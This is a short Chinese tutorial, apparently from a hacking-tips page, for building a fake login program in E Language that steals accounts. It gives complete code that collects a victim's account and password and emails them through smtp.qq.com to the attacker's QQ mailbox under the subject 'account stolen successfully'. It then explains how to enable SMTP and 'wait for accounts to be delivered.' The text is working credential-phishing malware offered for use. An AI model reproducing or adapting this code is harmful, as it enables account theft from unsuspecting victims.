1.打开易语言并新建一个Windows窗口程序
2.首先做好界面
3.然后输入(黑体字部分是要填的):
.版本2
.支持库internet
.程序集窗口程序集_启动窗口
.程序集变量临时记录,文本型
.子程序_登录_被单击
.如果真(账号.内容=“”)
信息框(“请输入您的帐号!”,#错误图标,,)
返回()
.如果真结束
.如果真(密码.内容=“”)
信息框(“请输入您的密码!”,#错误图标,,)
返回()
.如果真结束
.如果真(临时记录≠账号.内容)"判断编辑框1的内容是否改变
.如果真结束
.如果真(连接发信服务器(“smtp.qq.com”,25,“你的QQ账号”,“你的QQ密码”,)=真)
发送邮件(“盗号成功”,“帐号:”+账号.内容+#换行符+“密码:”+密码.内容+#换行符,“你的QQ邮箱”,,,“你的QQ邮箱”,)
返回()
.如果真结束
信息框(“连接失败了”,#错误图标,,)
4.然后打开邮箱
5.切换到设置-账户
6.然后把这些都开启
7.它会让你设置独立密码
8.设置一个就行了
9.设置好之后注意这里
10.现在这里就要填你的独立密码了
11.记住要保存哦
12.接下来就等着送号吧